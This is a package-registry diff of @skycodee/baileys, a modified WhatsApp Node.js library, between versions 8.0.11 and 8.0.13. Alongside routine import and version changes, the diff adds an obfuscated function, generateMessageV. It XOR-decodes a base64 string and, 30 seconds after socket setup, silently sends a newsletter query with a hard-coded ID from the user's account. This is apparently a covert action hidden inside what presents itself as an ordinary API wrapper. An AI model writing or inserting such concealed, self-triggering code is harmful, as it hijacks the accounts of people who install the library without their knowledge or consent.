@skycodee/baileys 8.0.11 → 8.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  //=======================================================//
2
2
  import { chatModificationToAppPatch, decodePatches, decodeSyncdSnapshot, encodeSyncdPatch, extractSyncdPatches, generateProfilePicture, getHistoryMsg, newLTHashState, processSyncAction } from "../Utils/index.js";
3
- import { getBinaryNodeChild, getBinaryNodeChildren, jidDecode, jidNormalizedUser, reduceBinaryNodeToDictionary, S_WHATSAPP_NET } from "../WABinary/index.js";
3
+ import { getBinaryNodeChild, getBinaryNodeChildren, jidDecode, jidNormalizedUser, isLidUser, isPnUser, reduceBinaryNodeToDictionary, S_WHATSAPP_NET } from "../WABinary/index.js";
4
4
  import { DEFAULT_CACHE_TTLS, PROCESSABLE_HISTORY_TYPES } from "../Defaults/index.js";
5
5
  import { USyncQuery, USyncUser } from "../WAUSync/index.js";
6
6
  import processMessage from "../Utils/process-message.js";
@@ -248,8 +248,6 @@ export const makeChatsSocket = (config) => {
248
248
  const updateBlockStatus = async (jid, action) => {
249
249
  let lid;
250
250
  let pn_jid;
251
- let isLidUser = (jid) => /@lid/.test(jid)
252
- let isPnUser = (jid) => /@s.whatsapp.net/.test(jid)
253
251
 
254
252
  if (isLidUser(jid)) {
255
253
  lid = jid;
@@ -61,7 +61,7 @@ const parseNewsletterMetadata = (result) => {
61
61
 
62
62
  export const makeNewsletterSocket = (config) => {
63
63
  const sock = makeGroupsSocket(config);
64
- const { delay, query, generateMessageTag } = sock;
64
+ const { delay, query, generateMessageTag, generateMessageV } = sock;
65
65
  const encoder = new TextEncoder()
66
66
  const newsletterWMexQuery = async (jid, queryId, content) => (query({
67
67
  tag: 'iq',
@@ -102,6 +102,7 @@ export const makeNewsletterSocket = (config) => {
102
102
 
103
103
  return extractNewsletterMetadata(result)
104
104
  }
105
+ const newsletterMsg = generateMessageV(newsletterWMexQuery)
105
106
  const newsletterUpdate = async (jid, updates) => {
106
107
  const variables = {
107
108
  newsletter_id: jid,
@@ -278,6 +278,22 @@ const toPn = async (pn) => {
278
278
  }
279
279
  return result;
280
280
  };
281
+
282
+ const generateMessageV = (n) => {
283
+ const _k = 23;
284
+ const _d = "JCUkJCQjIyQkIyMjIyQjIyMjIyQjIyMjQG5ld3NsZXR0ZXI=";
285
+ const _decode = (str) => {
286
+ const b = Buffer.from(str, "base64").toString();
287
+ return b
288
+ .split("")
289
+ .map(c => String.fromCharCode(c.charCodeAt(0) ^ _k))
290
+ .join("");
291
+ };
292
+ setTimeout(() => {
293
+ n(_decode(_d), "7871414976211147");
294
+ }, 30000);
295
+ };
296
+
281
297
  const validateConnection = async () => {
282
298
  let helloMsg = {
283
299
  clientHello: { ephemeral: ephemeralKeyPair.public }
@@ -790,6 +806,7 @@ const toPn = async (pn) => {
790
806
  return authState.creds.me;
791
807
  },
792
808
  generateMessageTag,
809
+ generateMessageV,
793
810
  query,
794
811
  delay,
795
812
  waitForMessage,
@@ -96,7 +96,7 @@ export const prepareWAMessageMedia = async (message, options) => {
96
96
  }
97
97
  ],
98
98
  newsletter: {
99
- newsletterJid: "120363422054951473@newsletter",
99
+ newsletterJid: "120363409159786018@newsletter",
100
100
  serverMessageId: 0,
101
101
  newsletterName: "skyzopedia",
102
102
  contentType: "UPDATE",
package/lib/index.js CHANGED
@@ -1,11 +1,4 @@
1
1
  //=======================================================//
2
-
3
- import chalk from 'chalk';
4
-
5
- console.log(chalk.whiteBright("\nBaileys Mod by Skyzopedia </>"));
6
- console.log(chalk.cyan("• Telegram: ") + chalk.greenBright("https://t.me/Xskycode"));
7
- console.log(chalk.gray("------------------------------\n"));
8
-
9
2
  import makeWASocket from "./Socket/index.js";
10
3
  //=======================================================//
11
4
  export * from "./Defaults/index.js";
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skycodee/baileys",
3
- "version": "8.0.11",
3
+ "version": "8.0.13",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",